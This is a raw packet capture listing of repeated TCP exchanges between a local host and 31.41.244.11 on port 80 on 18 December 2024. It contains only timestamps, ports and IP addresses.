Dec 18, 2024 19:08:13.679042101 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.679089069 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.679794073 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.679841995 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.679980993 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.680028915 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.680749893 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.680802107 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.680862904 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.680905104 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.681703091 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.681754112 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.681811094 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.681858063 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.682681084 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.682729959 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.682734966 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.682780027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.683635950 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.683684111 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.683790922 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.683845997 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.684577942 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.684628010 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.684762001 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.684813023 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.685771942 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.685822010 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.685889959 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.685936928 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.686611891 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.686661005 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.686734915 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.686780930 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.687505960 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.687583923 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.687660933 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.687706947 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.688469887 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.688504934 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.688524961 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.688544989 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.689418077 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.689466000 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.689497948 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.689546108 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.691329956 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.691382885 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.691428900 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.691443920 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.691469908 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.691489935 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.691734076 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.691785097 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.692362070 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.692410946 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.692662001 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.692713022 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.693228960 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.693281889 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.693330050 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.693377018 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.694169044 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.694216967 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.694274902 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.694319963 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.695142031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.695192099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.695251942 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.695297956 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.696084976 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.696131945 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.696166992 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.696213961 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.697086096 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.697137117 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.697195053 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.697241068 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.698065996 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.698117018 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.698210001 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.698256969 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.699033022 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.699073076 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.699084044 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.699107885 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.700011015 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.700062037 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.700084925 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.700128078 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.701289892 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.701340914 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.701401949 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.701450109 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.701863050 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.701910019 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.701978922 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.702024937 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.702897072 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.702945948 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.703012943 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.703061104 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.703708887 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.703762054 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.845593929 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.845643997 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.845859051 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.845859051 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.845951080 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.846060991 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.846107006 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.846107960 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.846923113 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.846987963 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.847018957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.847069025 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.847909927 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.847973108 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.847994089 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.848042011 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.848839045 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.848893881 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.848944902 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.848993063 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.849834919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.849895954 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.849912882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.849961042 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.850776911 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.850828886 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.850893974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.850931883 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.851764917 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.851824045 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.851839066 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.851882935 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.852675915 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.852726936 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.852785110 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.852829933 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.853631020 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.853679895 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.853801012 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.853849888 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.854641914 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.854688883 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.854756117 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.854804039 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.855667114 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.855717897 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.855745077 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.855788946 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.856564999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.856616974 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.856648922 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.856695890 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.857618093 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.857666969 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.857734919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.857779980 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.858447075 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.858485937 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.858549118 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.858598948 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.859407902 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.859462023 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.859493017 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.859539986 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.860342026 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.860392094 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.860431910 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.860479116 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.861309052 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.861377001 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.861418009 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.861462116 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.862299919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.862360001 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.862397909 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.862449884 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.863240004 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.863291025 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.863296032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.863351107 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.864257097 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.864326000 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.864356041 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.864407063 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.865153074 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.865199089 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.865205050 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.865247011 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.866163015 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.866211891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.866380930 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.866427898 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.867090940 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.867132902 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.867175102 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.867216110 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.868024111 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.868088961 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.868100882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.868146896 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.869224072 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.869345903 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.869400024 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.869450092 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.869930983 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.869982958 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.870091915 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.870135069 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.871058941 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.871119976 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.871206045 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.871253014 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.871845007 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.871897936 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.871932030 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.871982098 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.872837067 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.872886896 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.872901917 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.872942924 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.873769999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.873822927 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.873863935 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.873929977 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.874852896 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.874911070 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.874943972 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.874989986 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.875761032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.875793934 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.875813961 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.875838041 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.876647949 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.876703978 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.876847982 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.876921892 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.877608061 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.877655983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.877698898 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.877748966 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.878592014 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.878655910 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.878660917 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.878701925 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.879513979 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.879566908 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.879606962 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.879656076 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.880520105 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.880578995 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.880615950 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.880664110 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.881450891 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.881510019 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.881577015 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.881627083 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.882416010 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.882467031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.882468939 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.882518053 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.883378983 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.883440971 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.883567095 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.883631945 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.884355068 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.884407043 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.884476900 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.884618998 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.885457039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.885502100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.885559082 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.885607958 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.886691093 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.886759996 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.886791945 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.886835098 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.887779951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.887829065 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.887851954 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.887903929 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.888819933 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.888865948 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.888932943 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.888982058 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.889766932 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.889821053 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.889832973 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.889868975 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.890733957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.890779972 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.890794992 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.890839100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.891642094 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.891688108 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.891710997 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.891756058 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.892493010 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.892534971 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.892541885 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.892575026 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.893203974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.893255949 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.893296957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.893347979 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.893912077 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.893959999 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.894062996 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.894124985 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.894908905 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.894953966 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.895093918 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.895143986 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.895792007 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.895852089 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.037741899 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.037792921 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.037859917 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.037899017 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.038083076 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.038130999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.038139105 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.038177967 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.038930893 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.038981915 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.039072037 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.039123058 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.039839029 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.039889097 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.039931059 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.039978027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.040798903 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.040860891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.040879965 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.040930986 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.041724920 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.041769028 CET	49720	80	192.168.2.5	31.41.244.11
